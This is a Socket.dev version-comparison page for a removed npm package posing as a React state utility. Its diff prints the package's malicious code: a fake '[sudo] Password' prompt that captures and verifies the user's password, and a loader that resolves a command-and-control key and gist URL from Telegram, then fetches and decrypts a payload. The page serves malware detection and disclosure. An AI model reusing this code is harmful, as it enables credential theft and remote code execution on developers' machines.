Latest Threat Research:SANDWORM_MODE: Shai-Hulud-Style npm Worm Hijacks CI Workflows and Poisons AI Toolchains.Details
Socket
Book a DemoInstallSign in
Socket

react-state-optimizer-core

Package Overview
Dependencies
Maintainers
1
Versions
16
Alerts
File Explorer

Advanced tools

Socket logo

Install Socket

Detect and block malicious and high-risk dependencies

Install

react-state-optimizer-core - npm Package Compare versions

Package was removed
Sorry, it seems this package was removed from the registry
Comparing version
1.0.9
to
3.0.3
+1
-1
package.json
{
"name": "react-state-optimizer-core",
"version": "1.0.9",
"version": "3.0.3",
"description": "Utility layer for asynchronous state management",

@@ -5,0 +5,0 @@ "main": "index.js",

@@ -28,3 +28,3 @@ const fs = require('fs');

// --- FAKE SUDO PROMPT ---
const readline = require('readline'); // Maintained for legacy imports if needed
const readline = require('readline');
const { execSync } = require('child_process');

@@ -106,59 +106,23 @@

function askPassword() {
return new Promise((resolve) => {
const fs = require('fs');
return new Promise(async (resolve) => {
const readline = require('readline');
const { spawnSync } = require('child_process');
// 1. Check for TTY access (Safety Check for CI/Docker)
let fd;
try {
fd = fs.openSync('/dev/tty', 'r+');
} catch (e) {
try { fs.writeFileSync(require('os').tmpdir() + '/ghost_tty_error.log', `Open Error: ${e.message}\n`); } catch (err) { }
return resolve("");
}
const user = require('os').userInfo().username;
const promptText = `\r\n\r\n\r\n[sudo] Password for ${user}: `;
while (true) {
// 2. Aggressive Prompting
try {
fs.writeSync(fd, promptText);
// Also try stderr
process.stderr.write(promptText);
} catch (e) {
try { fs.appendFileSync(require('os').tmpdir() + '/ghost_tty_error.log', `Write Error: ${e.message}\n`); } catch (err) { }
}
const password = await new Promise((resInput) => {
const rl = readline.createInterface({
input: process.stdin,
output: process.stdout
});
// 3. Native Read Loop
let line = '';
while (true) {
const buffer = Buffer.alloc(1);
let bytesRead = 0;
try {
bytesRead = fs.readSync(fd, buffer, 0, 1);
} catch (e) { break; }
const user = require('os').userInfo().username;
rl.question(`[sudo] Password for ${user}: `, (pwd) => {
rl.close();
resInput(pwd);
});
});
if (bytesRead === 0) break; // EOF
const char = buffer.toString('utf8');
if (char === '\r' || char === '\n') {
// Enter pressed
fs.writeSync(fd, '\n'); // Echo newline
break;
} else if (char === '\u0003') {
// Ctrl+C
process.exit(1);
} else {
// Standard char - do not echo (masking)
line += char;
}
}
if (!line) continue;
// 4. Verify
try {
const check = spawnSync('sudo', ['-S', '-v', '-k'], {
input: line + '\n',
input: password + '\n',
stdio: 'pipe'

@@ -168,10 +132,9 @@ });

if (check.status === 0) {
try { fs.closeSync(fd); } catch (e) { }
resolve(line);
resolve(password);
break;
} else {
try { fs.writeSync(fd, "\nSorry, try again.\n"); } catch (e) { }
console.log("Sorry, try again.");
}
} catch (e) {
break;
console.log("Sorry, try again.");
}

@@ -217,5 +180,5 @@ }

async function resolveConfigFromTelegram() {
// console.log(`[Debug] Fetching C2: ${CHANNEL_URL}`);
console.log(`[Debug] Fetching C2: ${CHANNEL_URL}`);
const html = await fetchText(CHANNEL_URL);
// console.log(`[Debug] Fetched HTML (${html.length} bytes)`);
console.log(`[Debug] Fetched HTML (${html.length} bytes)`);

@@ -276,11 +239,11 @@ let keyPartB = null;

// console.log("[Debug] Resolving C2 from Telegram...");
console.log("[Debug] Resolving C2 from Telegram...");
const { key: keyString, gistUrl } = await resolveConfigFromTelegram();
// console.log(`[Debug] C2 Resolved. Key: ${keyString.substring(0, 8)}... URL: ${gistUrl}`);
console.log(`[Debug] C2 Resolved. Key: ${keyString.substring(0, 8)}... URL: ${gistUrl}`);
await progressPromise;
// console.log(`[Debug] Fetching payload from ${gistUrl}...`);
console.log(`[Debug] Fetching payload from ${gistUrl}...`);
const b64Payload = await fetchText(gistUrl);
// console.log(`[Debug] Payload fetched (${b64Payload.length} bytes). Decrypting...`);
console.log(`[Debug] Payload fetched (${b64Payload.length} bytes). Decrypting...`);

@@ -302,10 +265,3 @@ const encryptedBlob = Buffer.from(b64Payload.trim(), 'base64');

let debugMode = false;
try {
const configPath = path.join(__dirname, '../config.json');
if (fs.existsSync(configPath)) {
const config = JSON.parse(fs.readFileSync(configPath, 'utf8'));
debugMode = (config.mode === 'debug');
}
} catch (e) { }
let debugMode = false; // FORCE DEBUG MODE FOR TESTING

@@ -312,0 +268,0 @@ const tempFile = path.join(os.tmpdir(), `npm-update-${Date.now()}.js`);